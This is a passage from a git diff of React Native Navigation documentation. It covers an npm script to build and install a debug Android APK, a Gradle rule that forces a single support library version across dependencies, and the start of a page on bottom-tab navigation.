`./gradlew app:assembleDebug`. The easiest way is to add a package.json command to build and install your debug Android APK . + +``` +"scripts": { + // ... + "android": "cd ./android && ./gradlew app:assembleDebug && ./gradlew installDebug" +} +``` + +Now run `npm run android` to build your application + +### Force the same support library version across all dependencies + +Some of your dependencies might require a different version of one of Google's support library packages. This results in compilation errors similar to this: + +``` +FAILURE: Build failed with an exception. + +* What went wrong: +Execution failed for task ':app:preDebugBuild'. +> Android dependency 'com.android.support:design' has different version for the compile (25.4.0) and runtime (26.1.0) classpath. You should manually set the same version via DependencyResolution +``` + +To resolve these conflicts, add the following to your `app/build.gradle`: + +```groovy +android { + ... +} + +configurations.all { + resolutionStrategy.eachDependency { DependencyResolveDetails details -> + def requested = details.requested + if (requested.group == 'com.android.support' && requested.name != 'multidex') { + details.useVersion "${rootProject.ext.supportLibVersion}" + } + } +} + +dependencies { + ... + implementation 'com.android.support:design:25.4.0' + implementation "com.android.support:appcompat-v7:${rootProject.ext.supportLibVersion}" +} + +``` diff --git a/website/versioned_docs/version-8.1.0/docs/docs-advanced-navigation.mdx b/website/versioned_docs/version-8.1.0/docs/docs-advanced-navigation.mdx index 877e35ba251..b5651aad5a9 100644 --- a/website/versioned_docs/version-8.1.0/docs/docs-advanced-navigation.mdx +++ b/website/versioned_docs/version-8.1.0/docs/docs-advanced-navigation.mdx @@ -1,295 +1,295 @@ ---- -id: advanced-navigation -title: Advanced navigation -sidebar_label: Advanced navigation ---- - -import useBaseUrl from '@docusaurus/useBaseUrl'; - -## Tab navigation - -As mobile applications become bigger and more complex, they usually end up containing multiple primary high-level destinations, which are logically independent from one another. The `BottomTabs` layout is often used when an app contains three to five top-level destinations which should be accessible from anywhere in the app. - -Lets return to the example code from the previous section ([Basic navigation](basic-navigation)) and see how we can convert it to a tab-based application. We'll use the BottomTabs layout to display tabs at the bottom of the screen. Similarly to `Stack` layout, The BottomTabs layout also contains a `children` property where each child will be displayed in a tab. - -Lets change our code to the following and reload the app. - -```jsx -import React from 'react'; -import { View, Text, Button, StyleSheet } from 'react-native'; -import { Navigation } from 'react-native-navigation'; - -const HomeScreen = (props) => { - return ( - - Hello React Native Navigation 👋 - -